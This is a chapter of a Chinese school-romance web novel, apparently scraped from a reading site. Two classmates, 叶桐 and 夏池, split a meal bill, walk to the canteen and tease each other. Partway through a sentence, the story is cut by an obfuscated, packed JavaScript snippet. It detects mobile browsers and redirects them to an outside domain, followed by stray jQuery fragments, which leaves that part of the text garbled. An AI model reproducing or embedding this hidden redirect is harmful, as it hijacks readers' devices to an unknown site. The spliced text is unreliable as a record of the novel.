叶桐回：“没事，就是…”他顿了顿，才笑着开口，“看你好看，就多看看。” 夏池被这直白的话一噎，只是哼了一下，也不理他。过了片刻，他又低低暗骂一句：“幼稚…” 不过叶桐说的其实真不错，他同桌乍眼一看硬邦邦，但是相处起来完全不一样。虽然陆知天他们无数次抱怨过夏池的冷漠，但是叶桐莫名觉得他同桌很…哎，难以形容。反正一点不难相处！他手莫名其妙抖了一下，手机飞了。 而且飞到他觉得一点都不难相处的夏池桌上。 “你食堂大妈？”夏池怼人，没有感情。 “没，不敢了。”叶桐认错，最为熟练。 “呵呵。”真是颇有嘲讽意味的两声笑啊！叶桐腹诽。 夏池把他手机递回去，收回手后又在自己手机上点了几下。 “饭钱转过去了。” “啊？”叶桐茫然地看了眼手机，五十。他这才想起陈塘说出口那句“一百块”。合着池子要跟他aa啊。 叶桐就有些莫名的蔫。好歹朋友啊，一顿饭都要aa，本来他请了这顿多好，又没多少…… 夏池心思跟他完全不一样。他性格和同龄人很难玩到一起，所以对陈曦这类的难得的朋友都很珍视。 因为很少遇见，所以一遇便是千百守。 他不会去打听别人的喜好，所以只能用自己的很隐蔽的方式去示好。 他竭尽所能去想一切细节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854911|175872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，然后小心翼翼付诸行动。从来没有人发现，因为他太细致，aa饭钱反倒是最明显的。他知道叶桐会忘记把水笔按回去，所以在他注意不到时会帮他按上，从没被看到。他也知道叶桐不爱喝常温水，所以会在带水时留心。他甚至会避免自己做对方个人不喜欢做的事情，以免招人反感。 陈曦曾调侃他，说他是“付出型人格”，但是他知道自己不是，只是太过珍惜。 夏池沉默着，没有再说过话。 下午考完，已经是五点了。 陆知天嚎了一声，就“飞”起来，拉着自己好兄弟李含斌和许铭就往楼下跑，去抢饭。 叶桐还在为那笔钱而闷，看到那三个身影消失在拐角才打起精神，对同桌笑了笑：”走吗，去食堂。” “好。” 叶桐好像发现了一个小细节，夏池回答“行”和“好”，给人的感觉很不一样。虽然别人也会有这种感觉吧，但他身上很明显。“行”听上去很平常，但是“好”不一样啊。尤其放在夏池这种冰雕上，简直有种融化的错觉。 夏池没发现自己随口一个字给叶桐带来的一连串思绪，见他不走，就“嗯”了一声，带问号的。 “没事，走吧。”叶桐很快回过神。 今天难得晴天，楼道上洒了一地的碎金光斑。抢饭的早已不见踪影，只有几个女生三五成群走着。 前面那两个女生正凑在一起，激烈地讨论着什么，夏池听得很清楚。 “妈呀！一班那个转校生我终于在今天看见了！帅的呀～” “啧啧啧，不是一般的帅！” “哎你说他跟叶神比，谁更好看？” “这俩长相一个冷一个热，反正我都爱！” 夏池听到这话也不做声，其实因为他的样貌在二中也被不少人注意过，所以已经见怪不怪。 叶桐倒是听得勾唇。很淡的笑，在阳光下就亮了起来。 那两个女生听到身后的动静，其中一个回头看了一眼，差点叫出来：“你！你是…”另一个也回头呆住，反应过来红着脸就拽着同伴跑了。 叶桐看着自己同桌，笑道：“挺受欢迎啊，池子。” “你不也一样？”夏池也不着痕迹地弯了弯嘴角。 很奇怪，明明他是一座不苟言笑，很少开玩笑的冰雕，到了叶桐这里就绷不住，露出原型。或许是他活人气息太重了吧，比被卷子逼疯的其他人更生动。夏池为自己找补。 “哎，不过你确实，”叶桐说到这里，看了看夏池反应，才继续说，“长得很好看。” 这是叶桐第二次夸夏池长相了，不知有心还是无心。他看着夏池的头发，看上去有点好摸。他突然就手痒，摸了一下夏池头发。 夏池僵住，随即炸毛：“你有病？” “咳咳咳，手痒。”叶桐面不改色，很正经地回答。 夏池对他这种赖皮行为完全没招，只得以毒攻毒，于是他也反手摸了回去。 叶桐跟他刚刚一样的僵住，随后就看夏池已经走出几步，回头不加掩饰地笑了笑：“手痒。” 叶桐看着那笑容，在原地站了片刻。夏池笑起来，真的很好看。